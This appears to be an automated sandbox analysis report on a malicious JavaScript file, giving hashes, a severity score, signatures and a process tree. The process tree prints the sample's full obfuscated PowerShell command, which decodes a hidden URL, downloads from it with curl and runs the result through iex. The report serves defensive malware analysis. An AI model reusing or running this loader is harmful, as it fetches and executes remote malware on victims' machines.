Analysis

  • max time kernel
    119s
  • max time network
    119s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    21-12-2024 15:07

General

  • Target

    a0754183cf4bbab2b8a45ae0d4a5f79f586e7151de4228bad8bc7961719a0d04.js

  • Size

    188KB

  • MD5

    7e9bed6bd4a994c7289b7b38fd417edd

  • SHA1

    7e74ce18b93f19d4189c3e3ecf1a2b9af00448a1

  • SHA256

    a0754183cf4bbab2b8a45ae0d4a5f79f586e7151de4228bad8bc7961719a0d04

  • SHA512

    c2cbb5db77702e7a2e47a7f8fa87032ad24005c537ed89a883d7cf900df25ee6165160529ba4b2b5d15de8fddd18e7c925c5756a09f6c232a81dfa170e745795

  • SSDEEP

    1536:nwBMJQ6jzM8w6gfLv5dPxbq+v9gaU7gjzM8w6gfLg5dPxbq+v9gaU7i5dPxbq+v8:nFE8wzrcgE8wYrcMrcVE8wnE8w3

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Command and Scripting Interpreter: JavaScript 1 TTPs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\a0754183cf4bbab2b8a45ae0d4a5f79f586e7151de4228bad8bc7961719a0d04.js
    1⤵
      PID:1476
    • C:\Windows\system32\conhost.exe
      conhost --headless powershell $mcugqyfwz='ur' ;new-alias printout c$($mcugqyfwz)l;$ivguklhds=(4752,4763,4771,4755,4757,4752,4772,4771,4776,4709,4771,4705,4752,4700,4770,4765,4766,4701,4703,4700,4766,4758,4766,4717,4769,4715,4763,4759,4764,4770,4769,4704,4703);$qnaytgkbisuj=('bronx','get-cmdlet');$csvbpzgmyorj=$ivguklhds;foreach($qyfodng in $csvbpzgmyorj){$guxmwd=$qyfodng;$yrvnkdfizws=$yrvnkdfizws+[char]($guxmwd-4654);$yhurkpozsntf=$yrvnkdfizws; $yvahpsgzed=$yhurkpozsntf};$cpguhvlfmweka[2]=$yvahpsgzed;$owzfekhi='rl';$kltwue=1;.$([char](9992-9887)+'e'+'x')(printout -useb $yvahpsgzed)
      1⤵
      • Process spawned unexpected child process
      PID:2648

    Network

    MITRE ATT&CK Enterprise v15

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    Downloads